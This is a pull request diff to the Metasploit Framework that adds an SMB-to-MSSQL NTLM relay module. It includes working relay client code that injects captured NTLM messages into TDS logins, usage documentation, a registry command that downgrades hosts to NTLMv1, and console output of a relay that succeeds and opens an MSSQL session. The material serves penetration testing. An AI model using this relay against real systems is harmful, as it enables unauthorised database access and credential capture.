Skip to content
Open
Show file tree
Hide file tree
Changes from 13 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 13 additions & 10 deletions documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,9 +9,19 @@ msf auxiliary(scanner/mssql/mssql_hashdump) > options

Module options (auxiliary/scanner/mssql/mssql_hashdump):

Name Current Setting Required Description
---- --------------- -------- -----------
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxy types: sapni, socks4, http, socks5, socks5

h


Used when connecting via an existing SESSION:

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on


Used when making a new connection via RHOSTS:
Expand All @@ -24,13 +34,6 @@ Module options (auxiliary/scanner/mssql/mssql_hashdump):
RPORT 1433 no The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME MSSQL no The username to authenticate as


Used when connecting via an existing SESSION:

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
```

## Scenarios
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -223,7 +223,6 @@ Module options (auxiliary/scanner/mssql/mssql_login):
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
VERBOSE true yes Whether to print output for all attempts


Expand Down
4 changes: 2 additions & 2 deletions documentation/modules/auxiliary/server/relay/smb_to_ldap.md
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ flowchart LR
```

The Domain Computer will need to be configured to use NTLMv1 by setting the
following registry key to a value less or equal to 2:
following registry key to a value less than or equal to 2:

```
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
Expand Down Expand Up @@ -95,7 +95,7 @@ I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv
### RELAY_TIMEOUT

Seconds that the relay socket will wait for a response after the client has
initiated communication (default 25 sec.).
initiated communication.

### SMBDomain

Expand Down
80 changes: 80 additions & 0 deletions documentation/modules/auxiliary/server/relay/smb_to_mssql.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
## Vulnerable Application

This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack
against an MSSQL server on the configured RHOSTS hosts.

If the relay succeeds, an MSSQL session to the target will be created. This can be used by any modules that support
MSSQL sessions, like `admin/mssql/mssql_enum`. The session can also be used to run arbitrary queries.

Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261

## Verification Steps
Example steps in this format (is also in the PR):

1. Install MSSQL Server on a Domain Joined host. Ensure that Windows Authentication mode is enabled.
2. Start msfconsole, and use the module.
3. Set `RHOSTS` to target the MSSQL server.
4. On another host, use `net use` to trigger an authentication attempt to metasploit that can be relayed to the target.

## Options

### RHOSTS

Target address range or CIDR identifier to relay to.

### CAINPWFILE

A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.

### JOHNPWFILE

A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
will be stored in separate files.
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.

### RELAY_TIMEOUT

Seconds that the relay socket will wait for a response after the client has
initiated communication.

## Scenarios
Specific demo of using the module that might be useful in a real world scenario.

### MSSQL Server 2019

```
[*] Auxiliary module running as background job 0.
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf auxiliary(server/relay/smb_to_mssql) >
[*] New request from 192.168.159.10
[*] Received request for MSFLAB\smcintyre
[*] Relaying to next target mssql://192.168.159.166:1433
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target mssql://192.168.159.166:1433
[+] Relay succeeded
[*] MSSQL session 1 opened (192.168.159.128:35967 -> 192.168.159.166:1433) at 2025-10-21 09:33:19 -0400
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
[*] New request from 192.168.159.10
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
msf auxiliary(server/relay/smb_to_mssql) > sessions -i -1
[*] Starting interaction with 1...
mssql @ 192.168.159.166:1433 (master) > query 'SELECT @@version'
Response
========
# NULL
- ----
0 Microsoft SQL Server 2019 (RTM-GDR) (KB5065223) - 15.0.2145.1 (X64)
Aug 13 2025 11:31:46
Copyright (C) 2019 Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2025 Standard 10.0 <X64> (Build 26100: ) (Hypervisor)
mssql @ 192.168.159.166:1433 (master) >
```
10 changes: 1 addition & 9 deletions lib/metasploit/framework/login_scanner/mssql.rb
Original file line number Diff line number Diff line change
Expand Up @@ -43,10 +43,6 @@ class MSSQL
# @return [String] Auth The mssql hostname, required for Kerberos Authentication
attr_accessor :hostname

# @!attribute windows_authentication
# @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth.
attr_accessor :windows_authentication

# @!attribute use_client_as_proof
# @return [Boolean] If a login is successful and this attribute is true - an MSSQL::Client instance is used as proof
attr_accessor :use_client_as_proof
Expand All @@ -59,9 +55,6 @@ class MSSQL
# @return [Integer] The delay between sending packets
attr_accessor :send_delay

validates :windows_authentication,
inclusion: { in: [true, false] }

attr_accessor :tdsencryption

validates :tdsencryption,
Expand Down Expand Up @@ -93,7 +86,7 @@ def attempt_login(credential)
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
result_options[:proof] = e
rescue => e
elog(e)
elog(e, error: e)
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
result_options[:proof] = e
end
Expand All @@ -117,7 +110,6 @@ def set_sane_defaults
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
self.auth = Msf::Exploit::Remote::AuthOption::AUTO if self.auth.nil?
self.windows_authentication = false if self.windows_authentication.nil?
self.tdsencryption = false if self.tdsencryption.nil?
end
end
Expand Down
1 change: 0 additions & 1 deletion lib/msf/core/exploit/remote/mssql.rb
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,6 @@ def initialize(info = {})
Opt::RPORT(1433),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]),
# OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - TODO: support TDS Encryption
], Msf::Exploit::Remote::MSSQL)
register_advanced_options(
Expand Down
2 changes: 2 additions & 0 deletions lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -232,6 +232,8 @@ def create_relay_client(target, timeout)
client = Target::SMB::Client.create(self, target, logger, timeout)
when :ldap
client = Target::LDAP::Client.create(self, target, logger, timeout)
when :mssql
client = Target::MSSQL::Client.create(self, target, logger, timeout, framework_module: @listener)
else
raise RuntimeError, "unsupported protocol: #{target.protocol}"
end
Expand Down
97 changes: 97 additions & 0 deletions lib/msf/core/exploit/remote/smb/relay/ntlm/target/mssql/client.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::MSSQL
class Client < Rex::Proto::MSSQL::Client
attr_reader :target

def initialize(framework_module, proxies = nil, provider: nil, target: nil, logger: nil, timeout: 30)
@logger = logger
@provider = provider
@target = target
@timeout = timeout
super(framework_module, framework_module.framework, target.ip, target.port, proxies)
end

def self.create(provider, target, logger, timeout, framework_module:)
new(
framework_module,
provider: provider,
target: target,
logger: logger,
timeout: timeout
)
end


# @param [String] client_type1_msg
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
def relay_ntlmssp_type1(client_type1_msg)
self.initial_connection_info[:prelogin_data] = mssql_prelogin

pkt_hdr = MsTdsHeader.new(
packet_type: MsTdsType::TDS7_LOGIN,
packet_id: 1
)

pkt_body = MsTdsLogin7.new(
option_flags_2: {
f_int_security: 1
},
server_name: @target.ip
)

pkt_body.sspi = client_type1_msg.bytes

pkt_hdr.packet_length += pkt_body.num_bytes
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s

resp = mssql_send_recv(pkt, @timeout, false)
server_type2_message = resp[3..-1]

Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
message: Net::NTLM::Message.parse(server_type2_message),
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
)
end

# @param [String] client_type3_msg
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
def relay_ntlmssp_type3(client_type3_msg)
pkt_hdr = MsTdsHeader.new(
type: MsTdsType::SSPI_MESSAGE,
packet_id: 1
)

pkt_hdr.packet_length += client_type3_msg.length
pkt = pkt_hdr.to_binary_s + client_type3_msg

resp = mssql_send_recv(pkt)
info = mssql_parse_reply(resp)
if info[:login_ack]
nt_status = WindowsError::NTStatus::STATUS_SUCCESS
else
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
end

Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
end

# Instantiate a Rex::Proto::LDAP::Client that can be used as a normal LDAP client.
# This is mainly used to setup an LDAP session.
#
# @return [Rex::Proto::LDAP::Client]
def create_ldap_client
client = Rex::Proto::LDAP::Client.new(
host: @target.ip,
port: @target.port,
auth: { method: :rex_relay_ntlm },
connect_timeout: @timeout
)
client.connection = self
client
end

protected

attr_reader :logger
end
end

8 changes: 8 additions & 0 deletions lib/rex/proto/ms_tds.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
module Rex::Proto::MsTds
require 'rex/proto/ms_tds/ms_tds_type'
require 'rex/proto/ms_tds/ms_tds_status'
require 'rex/proto/ms_tds/ms_tds_version'
require 'rex/proto/ms_tds/ms_tds_header'
require 'rex/proto/ms_tds/ms_tds_login7_password'
require 'rex/proto/ms_tds/ms_tds_login7'
end
16 changes: 16 additions & 0 deletions lib/rex/proto/ms_tds/ms_tds_header.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# -*- coding: binary -*-

require 'bindata'

module Rex::Proto::MsTds
class MsTdsHeader < BinData::Record
endian :big

ms_tds_type :packet_type
ms_tds_status :status, initial_value: MsTdsStatus::END_OF_MESSAGE
uint16 :packet_length, initial_value: 8
uint16 :spid
uint8 :packet_id
uint8 :window
end
end
Loading
Loading